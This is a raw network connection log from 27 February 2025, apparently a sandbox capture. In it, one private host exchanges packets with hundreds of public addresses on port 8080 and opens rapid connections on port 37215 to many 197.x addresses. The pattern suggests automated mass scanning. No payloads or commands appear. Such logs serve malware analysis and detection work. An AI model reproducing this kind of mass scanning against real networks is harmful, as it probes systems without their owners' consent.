Feb 27, 2025 07:08:34.576261997 CET	8080	25538	62.85.61.132	192.168.2.14
Feb 27, 2025 07:08:34.576272964 CET	8080	25538	31.217.151.65	192.168.2.14
Feb 27, 2025 07:08:34.576272964 CET	25538	8080	192.168.2.14	94.138.191.199
Feb 27, 2025 07:08:34.576283932 CET	8080	25538	94.246.24.72	192.168.2.14
Feb 27, 2025 07:08:34.576286077 CET	25538	8080	192.168.2.14	95.176.160.222
Feb 27, 2025 07:08:34.576297045 CET	8080	25538	31.120.70.72	192.168.2.14
Feb 27, 2025 07:08:34.576308012 CET	8080	25538	85.148.7.203	192.168.2.14
Feb 27, 2025 07:08:34.576311111 CET	25538	8080	192.168.2.14	62.13.245.164
Feb 27, 2025 07:08:34.576311111 CET	25538	8080	192.168.2.14	94.246.24.72
Feb 27, 2025 07:08:34.576313972 CET	25538	8080	192.168.2.14	85.158.94.183
Feb 27, 2025 07:08:34.576318979 CET	8080	25538	94.202.194.231	192.168.2.14
Feb 27, 2025 07:08:34.576328993 CET	25538	8080	192.168.2.14	31.217.151.65
Feb 27, 2025 07:08:34.576329947 CET	8080	25538	85.145.128.237	192.168.2.14
Feb 27, 2025 07:08:34.576343060 CET	25538	8080	192.168.2.14	62.85.61.132
Feb 27, 2025 07:08:34.576343060 CET	25538	8080	192.168.2.14	31.120.70.72
Feb 27, 2025 07:08:34.576345921 CET	8080	25538	31.66.106.133	192.168.2.14
Feb 27, 2025 07:08:34.576355934 CET	25538	8080	192.168.2.14	94.202.194.231
Feb 27, 2025 07:08:34.576356888 CET	8080	25538	95.149.38.5	192.168.2.14
Feb 27, 2025 07:08:34.576358080 CET	25538	8080	192.168.2.14	85.148.7.203
Feb 27, 2025 07:08:34.576366901 CET	8080	25538	94.92.92.255	192.168.2.14
Feb 27, 2025 07:08:34.576380014 CET	8080	25538	95.86.120.7	192.168.2.14
Feb 27, 2025 07:08:34.576390982 CET	8080	25538	95.212.129.181	192.168.2.14
Feb 27, 2025 07:08:34.576401949 CET	8080	25538	95.234.93.99	192.168.2.14
Feb 27, 2025 07:08:34.576426029 CET	8080	25538	95.31.180.241	192.168.2.14
Feb 27, 2025 07:08:34.576438904 CET	8080	25538	31.254.244.208	192.168.2.14
Feb 27, 2025 07:08:34.576442957 CET	25538	8080	192.168.2.14	85.145.128.237
Feb 27, 2025 07:08:34.576442957 CET	25538	8080	192.168.2.14	94.92.92.255
Feb 27, 2025 07:08:34.576445103 CET	25538	8080	192.168.2.14	31.66.106.133
Feb 27, 2025 07:08:34.576445103 CET	25538	8080	192.168.2.14	95.149.38.5
Feb 27, 2025 07:08:34.576445103 CET	25538	8080	192.168.2.14	95.212.129.181
Feb 27, 2025 07:08:34.576452971 CET	8080	25538	95.234.4.90	192.168.2.14
Feb 27, 2025 07:08:34.576453924 CET	25538	8080	192.168.2.14	95.234.93.99
Feb 27, 2025 07:08:34.576462984 CET	8080	25538	85.47.90.109	192.168.2.14
Feb 27, 2025 07:08:34.576472044 CET	25538	8080	192.168.2.14	95.86.120.7
Feb 27, 2025 07:08:34.576472044 CET	25538	8080	192.168.2.14	95.31.180.241
Feb 27, 2025 07:08:34.576474905 CET	8080	25538	62.39.198.78	192.168.2.14
Feb 27, 2025 07:08:34.576481104 CET	25538	8080	192.168.2.14	31.254.244.208
Feb 27, 2025 07:08:34.576486111 CET	8080	25538	85.133.176.69	192.168.2.14
Feb 27, 2025 07:08:34.576492071 CET	25538	8080	192.168.2.14	95.234.4.90
Feb 27, 2025 07:08:34.576498032 CET	8080	25538	31.209.100.221	192.168.2.14
Feb 27, 2025 07:08:34.576510906 CET	8080	25538	94.182.62.12	192.168.2.14
Feb 27, 2025 07:08:34.576517105 CET	25538	8080	192.168.2.14	62.39.198.78
Feb 27, 2025 07:08:34.576520920 CET	8080	25538	95.1.145.178	192.168.2.14
Feb 27, 2025 07:08:34.576525927 CET	25538	8080	192.168.2.14	85.47.90.109
Feb 27, 2025 07:08:34.576531887 CET	25538	8080	192.168.2.14	85.133.176.69
Feb 27, 2025 07:08:34.576533079 CET	8080	25538	85.224.49.136	192.168.2.14
Feb 27, 2025 07:08:34.576545000 CET	8080	25538	95.1.42.73	192.168.2.14
Feb 27, 2025 07:08:34.576555014 CET	8080	25538	31.101.14.139	192.168.2.14
Feb 27, 2025 07:08:34.576558113 CET	25538	8080	192.168.2.14	31.209.100.221
Feb 27, 2025 07:08:34.576562881 CET	25538	8080	192.168.2.14	94.182.62.12
Feb 27, 2025 07:08:34.576565981 CET	25538	8080	192.168.2.14	95.1.145.178
Feb 27, 2025 07:08:34.576566935 CET	8080	25538	95.210.40.167	192.168.2.14
Feb 27, 2025 07:08:34.576569080 CET	25538	8080	192.168.2.14	95.1.42.73
Feb 27, 2025 07:08:34.576577902 CET	8080	25538	31.70.111.43	192.168.2.14
Feb 27, 2025 07:08:34.576581001 CET	25538	8080	192.168.2.14	85.224.49.136
Feb 27, 2025 07:08:34.576590061 CET	8080	25538	85.113.223.249	192.168.2.14
Feb 27, 2025 07:08:34.576598883 CET	8080	25538	95.9.149.141	192.168.2.14
Feb 27, 2025 07:08:34.576602936 CET	25538	8080	192.168.2.14	31.101.14.139
Feb 27, 2025 07:08:34.576602936 CET	25538	8080	192.168.2.14	95.210.40.167
Feb 27, 2025 07:08:34.576611042 CET	25538	8080	192.168.2.14	31.70.111.43
Feb 27, 2025 07:08:34.576611042 CET	8080	25538	95.62.148.170	192.168.2.14
Feb 27, 2025 07:08:34.576622963 CET	8080	25538	85.56.172.114	192.168.2.14
Feb 27, 2025 07:08:34.576623917 CET	25538	8080	192.168.2.14	85.113.223.249
Feb 27, 2025 07:08:34.576636076 CET	8080	25538	95.195.7.140	192.168.2.14
Feb 27, 2025 07:08:34.576649904 CET	25538	8080	192.168.2.14	95.62.148.170
Feb 27, 2025 07:08:34.576651096 CET	25538	8080	192.168.2.14	95.9.149.141
Feb 27, 2025 07:08:34.576692104 CET	25538	8080	192.168.2.14	95.195.7.140
Feb 27, 2025 07:08:34.576698065 CET	25538	8080	192.168.2.14	85.56.172.114
Feb 27, 2025 07:08:34.577110052 CET	8080	25538	94.154.23.197	192.168.2.14
Feb 27, 2025 07:08:34.577121973 CET	8080	25538	94.130.194.81	192.168.2.14
Feb 27, 2025 07:08:34.577131987 CET	8080	25538	62.239.153.251	192.168.2.14
Feb 27, 2025 07:08:34.577136993 CET	8080	25538	85.50.162.33	192.168.2.14
Feb 27, 2025 07:08:34.577142954 CET	8080	25538	31.167.195.77	192.168.2.14
Feb 27, 2025 07:08:34.577152014 CET	8080	25538	85.166.81.54	192.168.2.14
Feb 27, 2025 07:08:34.577156067 CET	25538	8080	192.168.2.14	94.154.23.197
Feb 27, 2025 07:08:34.577161074 CET	8080	25538	95.234.116.160	192.168.2.14
Feb 27, 2025 07:08:34.577172041 CET	8080	25538	85.80.180.45	192.168.2.14
Feb 27, 2025 07:08:34.577176094 CET	25538	8080	192.168.2.14	62.239.153.251
Feb 27, 2025 07:08:34.577177048 CET	25538	8080	192.168.2.14	94.130.194.81
Feb 27, 2025 07:08:34.577183962 CET	8080	25538	95.8.196.172	192.168.2.14
Feb 27, 2025 07:08:34.577195883 CET	8080	25538	31.215.222.61	192.168.2.14
Feb 27, 2025 07:08:34.577207088 CET	8080	25538	85.74.49.110	192.168.2.14
Feb 27, 2025 07:08:34.577219009 CET	8080	25538	95.222.125.5	192.168.2.14
Feb 27, 2025 07:08:34.577229977 CET	8080	25538	31.136.127.252	192.168.2.14
Feb 27, 2025 07:08:34.577234983 CET	25538	8080	192.168.2.14	85.50.162.33
Feb 27, 2025 07:08:34.577234983 CET	25538	8080	192.168.2.14	31.167.195.77
Feb 27, 2025 07:08:34.577239990 CET	8080	25538	62.158.52.104	192.168.2.14
Feb 27, 2025 07:08:34.577243090 CET	25538	8080	192.168.2.14	85.74.49.110
Feb 27, 2025 07:08:34.577244997 CET	25538	8080	192.168.2.14	85.166.81.54
Feb 27, 2025 07:08:34.577250957 CET	8080	25538	31.89.156.127	192.168.2.14
Feb 27, 2025 07:08:34.577255964 CET	25538	8080	192.168.2.14	31.215.222.61
Feb 27, 2025 07:08:34.577258110 CET	25538	8080	192.168.2.14	85.80.180.45
Feb 27, 2025 07:08:34.577259064 CET	25538	8080	192.168.2.14	95.234.116.160
Feb 27, 2025 07:08:34.577259064 CET	25538	8080	192.168.2.14	95.8.196.172
Feb 27, 2025 07:08:34.577260971 CET	25538	8080	192.168.2.14	95.222.125.5
Feb 27, 2025 07:08:34.577261925 CET	8080	25538	94.5.2.37	192.168.2.14
Feb 27, 2025 07:08:34.577267885 CET	25538	8080	192.168.2.14	31.136.127.252
Feb 27, 2025 07:08:34.577274084 CET	25538	8080	192.168.2.14	62.158.52.104
Feb 27, 2025 07:08:34.577275038 CET	8080	25538	31.228.254.129	192.168.2.14
Feb 27, 2025 07:08:34.577281952 CET	25538	8080	192.168.2.14	31.89.156.127
Feb 27, 2025 07:08:34.577284098 CET	8080	25538	31.183.246.58	192.168.2.14
Feb 27, 2025 07:08:34.577295065 CET	8080	25538	62.172.56.233	192.168.2.14
Feb 27, 2025 07:08:34.577303886 CET	8080	25538	94.206.203.122	192.168.2.14
Feb 27, 2025 07:08:34.577306986 CET	25538	8080	192.168.2.14	94.5.2.37
Feb 27, 2025 07:08:34.577310085 CET	8080	25538	62.69.240.67	192.168.2.14
Feb 27, 2025 07:08:34.577321053 CET	8080	25538	31.77.124.174	192.168.2.14
Feb 27, 2025 07:08:34.577321053 CET	25538	8080	192.168.2.14	31.228.254.129
Feb 27, 2025 07:08:34.577326059 CET	25538	8080	192.168.2.14	31.183.246.58
Feb 27, 2025 07:08:34.577332973 CET	8080	25538	31.203.35.6	192.168.2.14
Feb 27, 2025 07:08:34.577346087 CET	8080	25538	85.71.86.3	192.168.2.14
Feb 27, 2025 07:08:34.577358007 CET	8080	25538	62.145.105.73	192.168.2.14
Feb 27, 2025 07:08:34.577361107 CET	25538	8080	192.168.2.14	94.206.203.122
Feb 27, 2025 07:08:34.577368975 CET	8080	25538	62.80.67.41	192.168.2.14
Feb 27, 2025 07:08:34.577370882 CET	25538	8080	192.168.2.14	62.172.56.233
Feb 27, 2025 07:08:34.577377081 CET	25538	8080	192.168.2.14	31.203.35.6
Feb 27, 2025 07:08:34.577378035 CET	25538	8080	192.168.2.14	31.77.124.174
Feb 27, 2025 07:08:34.577379942 CET	8080	25538	31.156.255.43	192.168.2.14
Feb 27, 2025 07:08:34.577390909 CET	8080	25538	62.155.110.53	192.168.2.14
Feb 27, 2025 07:08:34.577395916 CET	25538	8080	192.168.2.14	62.69.240.67
Feb 27, 2025 07:08:34.577402115 CET	8080	25538	62.118.242.224	192.168.2.14
Feb 27, 2025 07:08:34.577411890 CET	8080	25538	31.6.41.185	192.168.2.14
Feb 27, 2025 07:08:34.577419996 CET	25538	8080	192.168.2.14	62.145.105.73
Feb 27, 2025 07:08:34.577420950 CET	25538	8080	192.168.2.14	85.71.86.3
Feb 27, 2025 07:08:34.577420950 CET	8080	25538	85.34.87.88	192.168.2.14
Feb 27, 2025 07:08:34.577421904 CET	25538	8080	192.168.2.14	62.80.67.41
Feb 27, 2025 07:08:34.577431917 CET	8080	25538	94.204.245.144	192.168.2.14
Feb 27, 2025 07:08:34.577431917 CET	25538	8080	192.168.2.14	31.156.255.43
Feb 27, 2025 07:08:34.577441931 CET	25538	8080	192.168.2.14	62.118.242.224
Feb 27, 2025 07:08:34.577444077 CET	25538	8080	192.168.2.14	62.155.110.53
Feb 27, 2025 07:08:34.577445030 CET	8080	25538	95.31.238.42	192.168.2.14
Feb 27, 2025 07:08:34.577456951 CET	8080	25538	94.45.165.111	192.168.2.14
Feb 27, 2025 07:08:34.577480078 CET	8080	25538	94.1.102.180	192.168.2.14
Feb 27, 2025 07:08:34.577492952 CET	25538	8080	192.168.2.14	85.34.87.88
Feb 27, 2025 07:08:34.577502012 CET	8080	25538	62.42.221.69	192.168.2.14
Feb 27, 2025 07:08:34.577511072 CET	25538	8080	192.168.2.14	31.6.41.185
Feb 27, 2025 07:08:34.577511072 CET	25538	8080	192.168.2.14	95.31.238.42
Feb 27, 2025 07:08:34.577512980 CET	8080	25538	62.120.51.153	192.168.2.14
Feb 27, 2025 07:08:34.577523947 CET	8080	25538	62.87.32.83	192.168.2.14
Feb 27, 2025 07:08:34.577533960 CET	8080	25538	31.234.13.173	192.168.2.14
Feb 27, 2025 07:08:34.577538013 CET	25538	8080	192.168.2.14	94.45.165.111
Feb 27, 2025 07:08:34.577542067 CET	25538	8080	192.168.2.14	94.1.102.180
Feb 27, 2025 07:08:34.577541113 CET	25538	8080	192.168.2.14	94.204.245.144
Feb 27, 2025 07:08:34.577543020 CET	25538	8080	192.168.2.14	62.42.221.69
Feb 27, 2025 07:08:34.577544928 CET	8080	25538	62.186.241.170	192.168.2.14
Feb 27, 2025 07:08:34.577555895 CET	8080	25538	85.113.36.129	192.168.2.14
Feb 27, 2025 07:08:34.577558041 CET	25538	8080	192.168.2.14	62.87.32.83
Feb 27, 2025 07:08:34.577564001 CET	25538	8080	192.168.2.14	62.120.51.153
Feb 27, 2025 07:08:34.577581882 CET	25538	8080	192.168.2.14	62.186.241.170
Feb 27, 2025 07:08:34.577589989 CET	25538	8080	192.168.2.14	31.234.13.173
Feb 27, 2025 07:08:34.577630997 CET	25538	8080	192.168.2.14	85.113.36.129
Feb 27, 2025 07:08:34.579550982 CET	43852	37215	192.168.2.14	197.113.68.20
Feb 27, 2025 07:08:34.581201077 CET	8080	25538	95.104.250.119	192.168.2.14
Feb 27, 2025 07:08:34.581216097 CET	8080	25538	94.162.59.138	192.168.2.14
Feb 27, 2025 07:08:34.581226110 CET	8080	25538	85.126.165.82	192.168.2.14
Feb 27, 2025 07:08:34.581235886 CET	8080	25538	95.194.217.52	192.168.2.14
Feb 27, 2025 07:08:34.581248045 CET	8080	25538	62.135.133.49	192.168.2.14
Feb 27, 2025 07:08:34.581259012 CET	8080	25538	62.68.249.112	192.168.2.14
Feb 27, 2025 07:08:34.581269979 CET	8080	25538	31.127.170.187	192.168.2.14
Feb 27, 2025 07:08:34.581279039 CET	25538	8080	192.168.2.14	85.126.165.82
Feb 27, 2025 07:08:34.581279993 CET	8080	25538	31.163.200.40	192.168.2.14
Feb 27, 2025 07:08:34.581279993 CET	25538	8080	192.168.2.14	95.104.250.119
Feb 27, 2025 07:08:34.581290960 CET	25538	8080	192.168.2.14	95.194.217.52
Feb 27, 2025 07:08:34.581293106 CET	8080	25538	94.229.138.73	192.168.2.14
Feb 27, 2025 07:08:34.581295967 CET	25538	8080	192.168.2.14	31.127.170.187
Feb 27, 2025 07:08:34.581301928 CET	25538	8080	192.168.2.14	62.135.133.49
Feb 27, 2025 07:08:34.581302881 CET	8080	25538	85.99.41.64	192.168.2.14
Feb 27, 2025 07:08:34.581305027 CET	25538	8080	192.168.2.14	62.68.249.112
Feb 27, 2025 07:08:34.581309080 CET	25538	8080	192.168.2.14	31.163.200.40
Feb 27, 2025 07:08:34.581314087 CET	8080	25538	62.22.115.81	192.168.2.14
Feb 27, 2025 07:08:34.581326008 CET	8080	25538	31.50.42.28	192.168.2.14
Feb 27, 2025 07:08:34.581332922 CET	25538	8080	192.168.2.14	94.229.138.73
Feb 27, 2025 07:08:34.581334114 CET	25538	8080	192.168.2.14	94.162.59.138
Feb 27, 2025 07:08:34.581336021 CET	8080	25538	94.166.189.165	192.168.2.14
Feb 27, 2025 07:08:34.581340075 CET	25538	8080	192.168.2.14	85.99.41.64
Feb 27, 2025 07:08:34.581341982 CET	25538	8080	192.168.2.14	62.22.115.81
Feb 27, 2025 07:08:34.581346035 CET	8080	25538	85.25.92.171	192.168.2.14
Feb 27, 2025 07:08:34.581357002 CET	8080	25538	95.166.176.129	192.168.2.14
Feb 27, 2025 07:08:34.581367016 CET	8080	25538	62.86.170.241	192.168.2.14
Feb 27, 2025 07:08:34.581367970 CET	25538	8080	192.168.2.14	31.50.42.28
Feb 27, 2025 07:08:34.581372976 CET	8080	25538	31.232.53.15	192.168.2.14
Feb 27, 2025 07:08:34.581383944 CET	8080	25538	85.155.127.148	192.168.2.14
Feb 27, 2025 07:08:34.581393957 CET	8080	25538	31.131.33.234	192.168.2.14
Feb 27, 2025 07:08:34.581403971 CET	8080	25538	85.58.153.231	192.168.2.14
Feb 27, 2025 07:08:34.581404924 CET	25538	8080	192.168.2.14	95.166.176.129
Feb 27, 2025 07:08:34.581413984 CET	25538	8080	192.168.2.14	94.166.189.165
Feb 27, 2025 07:08:34.581415892 CET	8080	25538	62.219.6.223	192.168.2.14
Feb 27, 2025 07:08:34.581428051 CET	8080	25538	85.85.101.205	192.168.2.14
Feb 27, 2025 07:08:34.581438065 CET	8080	25538	62.176.173.226	192.168.2.14
Feb 27, 2025 07:08:34.581449032 CET	25538	8080	192.168.2.14	85.58.153.231
Feb 27, 2025 07:08:34.581449986 CET	8080	25538	95.63.63.217	192.168.2.14
Feb 27, 2025 07:08:34.581449986 CET	25538	8080	192.168.2.14	85.25.92.171
Feb 27, 2025 07:08:34.581459045 CET	25538	8080	192.168.2.14	85.155.127.148
Feb 27, 2025 07:08:34.581459999 CET	25538	8080	192.168.2.14	62.86.170.241
Feb 27, 2025 07:08:34.581461906 CET	25538	8080	192.168.2.14	31.131.33.234
Feb 27, 2025 07:08:34.581464052 CET	8080	25538	94.69.216.235	192.168.2.14
Feb 27, 2025 07:08:34.581475019 CET	8080	25538	94.220.52.90	192.168.2.14
Feb 27, 2025 07:08:34.581482887 CET	25538	8080	192.168.2.14	31.232.53.15
Feb 27, 2025 07:08:34.581482887 CET	25538	8080	192.168.2.14	62.219.6.223
Feb 27, 2025 07:08:34.581486940 CET	8080	25538	31.60.23.205	192.168.2.14
Feb 27, 2025 07:08:34.581497908 CET	25538	8080	192.168.2.14	94.69.216.235
Feb 27, 2025 07:08:34.581497908 CET	8080	25538	94.140.247.213	192.168.2.14
Feb 27, 2025 07:08:34.581497908 CET	25538	8080	192.168.2.14	85.85.101.205
Feb 27, 2025 07:08:34.581504107 CET	25538	8080	192.168.2.14	62.176.173.226
Feb 27, 2025 07:08:34.581506968 CET	25538	8080	192.168.2.14	95.63.63.217
Feb 27, 2025 07:08:34.581511021 CET	8080	25538	94.78.223.14	192.168.2.14
Feb 27, 2025 07:08:34.581521988 CET	8080	25538	85.35.222.176	192.168.2.14
Feb 27, 2025 07:08:34.581528902 CET	25538	8080	192.168.2.14	94.220.52.90
Feb 27, 2025 07:08:34.581533909 CET	8080	25538	95.19.117.80	192.168.2.14
Feb 27, 2025 07:08:34.581546068 CET	8080	25538	85.22.43.239	192.168.2.14
Feb 27, 2025 07:08:34.581549883 CET	25538	8080	192.168.2.14	31.60.23.205
Feb 27, 2025 07:08:34.581553936 CET	25538	8080	192.168.2.14	94.78.223.14
Feb 27, 2025 07:08:34.581557035 CET	8080	25538	85.121.181.24	192.168.2.14
Feb 27, 2025 07:08:34.581571102 CET	25538	8080	192.168.2.14	85.35.222.176
Feb 27, 2025 07:08:34.581571102 CET	25538	8080	192.168.2.14	94.140.247.213
Feb 27, 2025 07:08:34.581573963 CET	8080	25538	62.63.240.127	192.168.2.14
Feb 27, 2025 07:08:34.581583977 CET	25538	8080	192.168.2.14	85.22.43.239
Feb 27, 2025 07:08:34.581584930 CET	8080	25538	62.135.152.225	192.168.2.14
Feb 27, 2025 07:08:34.581597090 CET	8080	25538	85.151.194.200	192.168.2.14
Feb 27, 2025 07:08:34.581595898 CET	25538	8080	192.168.2.14	95.19.117.80
Feb 27, 2025 07:08:34.581595898 CET	25538	8080	192.168.2.14	85.121.181.24
Feb 27, 2025 07:08:34.581609011 CET	8080	25538	94.108.76.229	192.168.2.14
Feb 27, 2025 07:08:34.581619978 CET	8080	25538	85.109.183.59	192.168.2.14
Feb 27, 2025 07:08:34.581630945 CET	8080	25538	94.252.130.1	192.168.2.14
Feb 27, 2025 07:08:34.581633091 CET	25538	8080	192.168.2.14	62.135.152.225
Feb 27, 2025 07:08:34.581634998 CET	25538	8080	192.168.2.14	62.63.240.127
Feb 27, 2025 07:08:34.581640959 CET	8080	25538	94.129.158.109	192.168.2.14
Feb 27, 2025 07:08:34.581654072 CET	8080	25538	31.17.27.33	192.168.2.14
Feb 27, 2025 07:08:34.581675053 CET	25538	8080	192.168.2.14	85.151.194.200
Feb 27, 2025 07:08:34.581681013 CET	25538	8080	192.168.2.14	94.108.76.229
Feb 27, 2025 07:08:34.581682920 CET	25538	8080	192.168.2.14	85.109.183.59
Feb 27, 2025 07:08:34.581684113 CET	25538	8080	192.168.2.14	94.129.158.109
Feb 27, 2025 07:08:34.581691027 CET	25538	8080	192.168.2.14	94.252.130.1
Feb 27, 2025 07:08:34.581691980 CET	25538	8080	192.168.2.14	31.17.27.33
Feb 27, 2025 07:08:34.582091093 CET	8080	25538	31.53.23.255	192.168.2.14
Feb 27, 2025 07:08:34.582104921 CET	8080	25538	31.191.164.26	192.168.2.14
Feb 27, 2025 07:08:34.582114935 CET	8080	25538	85.121.4.148	192.168.2.14
Feb 27, 2025 07:08:34.582127094 CET	8080	25538	95.135.2.61	192.168.2.14
Feb 27, 2025 07:08:34.582137108 CET	8080	25538	94.76.53.15	192.168.2.14
Feb 27, 2025 07:08:34.582149029 CET	8080	25538	95.9.109.132	192.168.2.14
Feb 27, 2025 07:08:34.582154989 CET	25538	8080	192.168.2.14	31.191.164.26
Feb 27, 2025 07:08:34.582154989 CET	25538	8080	192.168.2.14	85.121.4.148
Feb 27, 2025 07:08:34.582155943 CET	25538	8080	192.168.2.14	31.53.23.255
Feb 27, 2025 07:08:34.582159996 CET	37215	35702	197.206.172.103	192.168.2.14
Feb 27, 2025 07:08:34.582164049 CET	25538	8080	192.168.2.14	94.76.53.15
Feb 27, 2025 07:08:34.582166910 CET	25538	8080	192.168.2.14	95.135.2.61
Feb 27, 2025 07:08:34.582170010 CET	37215	40784	197.38.11.254	192.168.2.14
Feb 27, 2025 07:08:34.582180977 CET	37215	39058	197.155.158.69	192.168.2.14
Feb 27, 2025 07:08:34.582186937 CET	25538	8080	192.168.2.14	95.9.109.132
Feb 27, 2025 07:08:34.582200050 CET	35702	37215	192.168.2.14	197.206.172.103
Feb 27, 2025 07:08:34.582209110 CET	40784	37215	192.168.2.14	197.38.11.254
Feb 27, 2025 07:08:34.582211971 CET	39058	37215	192.168.2.14	197.155.158.69
Feb 27, 2025 07:08:34.584610939 CET	37215	43852	197.113.68.20	192.168.2.14
Feb 27, 2025 07:08:34.584645033 CET	43852	37215	192.168.2.14	197.113.68.20
Feb 27, 2025 07:08:34.592297077 CET	49944	37215	192.168.2.14	197.200.99.189
Feb 27, 2025 07:08:34.596374989 CET	43028	37215	192.168.2.14	197.188.78.180
Feb 27, 2025 07:08:34.597476959 CET	37215	49944	197.200.99.189	192.168.2.14
Feb 27, 2025 07:08:34.597596884 CET	49944	37215	192.168.2.14	197.200.99.189
Feb 27, 2025 07:08:34.598905087 CET	57380	37215	192.168.2.14	197.14.207.80
Feb 27, 2025 07:08:34.600357056 CET	35492	37215	192.168.2.14	197.198.185.216
Feb 27, 2025 07:08:34.601382017 CET	37215	43028	197.188.78.180	192.168.2.14
Feb 27, 2025 07:08:34.601418018 CET	43028	37215	192.168.2.14	197.188.78.180
Feb 27, 2025 07:08:34.601803064 CET	48220	37215	192.168.2.14	197.111.241.92
Feb 27, 2025 07:08:34.603039026 CET	41674	37215	192.168.2.14	197.73.50.27
Feb 27, 2025 07:08:34.603904009 CET	37215	57380	197.14.207.80	192.168.2.14
Feb 27, 2025 07:08:34.603946924 CET	57380	37215	192.168.2.14	197.14.207.80
Feb 27, 2025 07:08:34.613533020 CET	58188	37215	192.168.2.14	197.13.197.215
Feb 27, 2025 07:08:34.614959002 CET	44160	37215	192.168.2.14	197.0.226.251
Feb 27, 2025 07:08:34.616409063 CET	39760	37215	192.168.2.14	197.186.179.244
Feb 27, 2025 07:08:34.617023945 CET	49278	37215	192.168.2.14	197.156.182.204
Feb 27, 2025 07:08:34.617634058 CET	53960	37215	192.168.2.14	197.183.247.234
Feb 27, 2025 07:08:34.618606091 CET	37215	58188	197.13.197.215	192.168.2.14
Feb 27, 2025 07:08:34.618680000 CET	58188	37215	192.168.2.14	197.13.197.215
Feb 27, 2025 07:08:34.621537924 CET	37215	39760	197.186.179.244	192.168.2.14
Feb 27, 2025 07:08:34.621577024 CET	39760	37215	192.168.2.14	197.186.179.244
Feb 27, 2025 07:08:34.628761053 CET	47860	37215	192.168.2.14	197.210.45.80
Feb 27, 2025 07:08:34.629677057 CET	36176	37215	192.168.2.14	197.185.165.210
Feb 27, 2025 07:08:34.630908012 CET	40572	37215	192.168.2.14	197.87.123.131
Feb 27, 2025 07:08:34.631871939 CET	40332	37215	192.168.2.14	197.188.15.108
Feb 27, 2025 07:08:34.632769108 CET	49364	37215	192.168.2.14	197.66.4.227
Feb 27, 2025 07:08:34.633713961 CET	49502	37215	192.168.2.14	197.104.194.31
Feb 27, 2025 07:08:34.633827925 CET	37215	47860	197.210.45.80	192.168.2.14
Feb 27, 2025 07:08:34.633874893 CET	47860	37215	192.168.2.14	197.210.45.80
Feb 27, 2025 07:08:34.634654999 CET	44058	37215	192.168.2.14	197.213.37.124
Feb 27, 2025 07:08:34.635833025 CET	38006	37215	192.168.2.14	197.220.17.36
Feb 27, 2025 07:08:34.636782885 CET	50244	37215	192.168.2.14	197.193.133.57
Feb 27, 2025 07:08:34.637711048 CET	49282	37215	192.168.2.14	197.233.146.207
Feb 27, 2025 07:08:34.639153004 CET	44132	37215	192.168.2.14	197.155.7.67
Feb 27, 2025 07:08:34.640419006 CET	48854	37215	192.168.2.14	197.196.114.114
Feb 27, 2025 07:08:34.640861034 CET	37215	38006	197.220.17.36	192.168.2.14
Feb 27, 2025 07:08:34.640908957 CET	38006	37215	192.168.2.14	197.220.17.36
Feb 27, 2025 07:08:34.641381979 CET	34498	37215	192.168.2.14	197.144.83.131
Feb 27, 2025 07:08:34.642621994 CET	40734	37215	192.168.2.14	197.114.167.203
Feb 27, 2025 07:08:34.643800974 CET	46200	37215	192.168.2.14	197.35.40.175
Feb 27, 2025 07:08:34.644721031 CET	51120	37215	192.168.2.14	197.154.151.222
Feb 27, 2025 07:08:34.645869017 CET	41644	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:34.647083998 CET	55762	37215	192.168.2.14	197.175.2.76
Feb 27, 2025 07:08:34.647974014 CET	38740	37215	192.168.2.14	197.153.124.75
Feb 27, 2025 07:08:34.649112940 CET	55322	37215	192.168.2.14	197.121.215.42
Feb 27, 2025 07:08:34.650051117 CET	48596	37215	192.168.2.14	197.180.59.182
Feb 27, 2025 07:08:34.651566982 CET	47504	37215	192.168.2.14	197.22.1.231
Feb 27, 2025 07:08:34.652848005 CET	45742	37215	192.168.2.14	197.169.234.129
Feb 27, 2025 07:08:34.653120995 CET	37215	38740	197.153.124.75	192.168.2.14
Feb 27, 2025 07:08:34.653175116 CET	38740	37215	192.168.2.14	197.153.124.75
Feb 27, 2025 07:08:34.654114962 CET	58980	37215	192.168.2.14	197.251.54.242
Feb 27, 2025 07:08:34.655406952 CET	33606	37215	192.168.2.14	197.24.182.85
Feb 27, 2025 07:08:34.656698942 CET	59168	37215	192.168.2.14	197.71.137.102
Feb 27, 2025 07:08:34.657547951 CET	40336	37215	192.168.2.14	197.135.196.234
Feb 27, 2025 07:08:34.658202887 CET	40036	37215	192.168.2.14	197.8.223.43
Feb 27, 2025 07:08:34.658875942 CET	57510	37215	192.168.2.14	197.132.160.82
Feb 27, 2025 07:08:34.659543037 CET	46252	37215	192.168.2.14	197.111.112.210
Feb 27, 2025 07:08:34.660176039 CET	54396	37215	192.168.2.14	197.94.193.85
Feb 27, 2025 07:08:34.660420895 CET	37215	33606	197.24.182.85	192.168.2.14
Feb 27, 2025 07:08:34.660470963 CET	33606	37215	192.168.2.14	197.24.182.85
Feb 27, 2025 07:08:34.660825014 CET	59394	37215	192.168.2.14	197.255.17.129
Feb 27, 2025 07:08:34.661447048 CET	60598	37215	192.168.2.14	197.20.49.166
Feb 27, 2025 07:08:34.662096977 CET	33252	37215	192.168.2.14	197.243.151.67
Feb 27, 2025 07:08:34.662725925 CET	56766	37215	192.168.2.14	197.240.150.89
Feb 27, 2025 07:08:34.663445950 CET	42912	37215	192.168.2.14	197.71.61.75
Feb 27, 2025 07:08:34.664112091 CET	59034	37215	192.168.2.14	197.182.79.140
Feb 27, 2025 07:08:34.664773941 CET	43822	37215	192.168.2.14	197.111.198.8
Feb 27, 2025 07:08:34.665426016 CET	38882	37215	192.168.2.14	197.133.242.245
Feb 27, 2025 07:08:34.683381081 CET	59480	37215	192.168.2.14	197.225.220.135
Feb 27, 2025 07:08:34.683911085 CET	40852	37215	192.168.2.14	197.184.47.64
Feb 27, 2025 07:08:34.684561968 CET	58010	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:34.685218096 CET	42446	37215	192.168.2.14	197.3.230.4
Feb 27, 2025 07:08:34.685869932 CET	49926	37215	192.168.2.14	197.233.12.90
Feb 27, 2025 07:08:34.686511993 CET	54250	37215	192.168.2.14	197.20.52.21
Feb 27, 2025 07:08:34.687160015 CET	48510	37215	192.168.2.14	197.209.105.119
Feb 27, 2025 07:08:34.687901974 CET	57572	37215	192.168.2.14	197.234.239.154
Feb 27, 2025 07:08:34.688469887 CET	51698	37215	192.168.2.14	197.112.195.73
Feb 27, 2025 07:08:34.688496113 CET	37215	59480	197.225.220.135	192.168.2.14
Feb 27, 2025 07:08:34.688553095 CET	59480	37215	192.168.2.14	197.225.220.135
Feb 27, 2025 07:08:34.688994884 CET	37215	40852	197.184.47.64	192.168.2.14
